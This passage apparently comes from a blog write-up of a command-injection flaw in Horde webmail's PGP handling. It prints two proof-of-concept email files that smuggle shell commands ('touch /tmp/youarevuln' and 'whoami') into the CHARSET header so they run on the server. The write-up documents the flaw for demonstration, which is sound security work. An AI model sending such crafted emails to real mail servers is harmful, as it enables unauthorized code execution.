Horde serve is launched under daemon user Step 5 – We can do the same with attack_touch.eml (in the end of this blog) file (import it and click on the new mail) and check /tmp folder: attack_touch.eml Date: Fri, 04 Nov 2016 16:04:19 +0000 Message-ID: <20161104160419.Horde.HpYObg_3-4QS-nUzWujEkg3@ubvm.mydomain.com> From: Donald Trump <attacker@attacker.com> To: SomeUser@mydoamin.com Subject: PGP_INLine_touch_tmp_youarevuln X-IMP-Draft: Yes Content-Type: text/plain; CHARSET="US-ASCII<code>touch /tmp/youarevuln</code>"; format=flowed; DelSp=Yes MIME-Version: 1.0 Content-Disposition: inline -----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 This is a sample of a clear signed message. -----BEGIN PGP SIGNATURE----- Version: 2.6.2 iQCVAwUBMoSCcM4T3nOFCCzVAQF4aAP/eaP2nssHHDTHyPBSjgwyzryguwBd2szF U5IFy5JfU+PAa6NV6m/UWW8IKczNX2cmaKQNgubwl3w0odFQPUS+nZ9myo5QtRZh DztuhjzJMEzwtm8KTKBnF/LJ9X05pSQUvoHfLZ/waJdVt4E/xfEs90l8DT1HDdIz CvynscaD+wA= =Xb9n -----END PGP SIGNATURE----- attack_whoami.eml Date: Fri, 04 Nov 2016 16:04:19 +0000 Message-ID: <20161104160419.Horde.HpYObg_3-4QS-nUzWujEkg3@ubvm.mydomain.com> From: Donald Trump <attacker@attacker.com> To: SomeUser@mydoamin.com Subject: PGP_INLine_whoami X-IMP-Draft: Yes Content-Type: text/plain; CHARSET=US-ASCII<code>whoami</code>; format=flowed; DelSp=Yes MIME-Version: 1.0 Content-Disposition: inline -----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 This is a sample of a clear signed message. -----BEGIN PGP SIGNATURE----- Version: 2.6.2 iQCVAwUBMoSCcM4T3nOFCCzVAQFJaAP/eaP2nssHHDTHyPBSjgwyzryguwBd2szF U5IFy5JfU+PAa6NV6m/UWW8IKczNX2cmaKQNgubwl3w0odFQPUS+nZ9myo5QtRZh DztuhjzJMEzwtm8KTKBnF/LJ9X05pSsUvoHfLZ/waJdVt4E/xfEs90l8DT1HDdIz CvynscaD+wA= =Xb9n -----END PGP SIGNATURE----- |
体验盒子
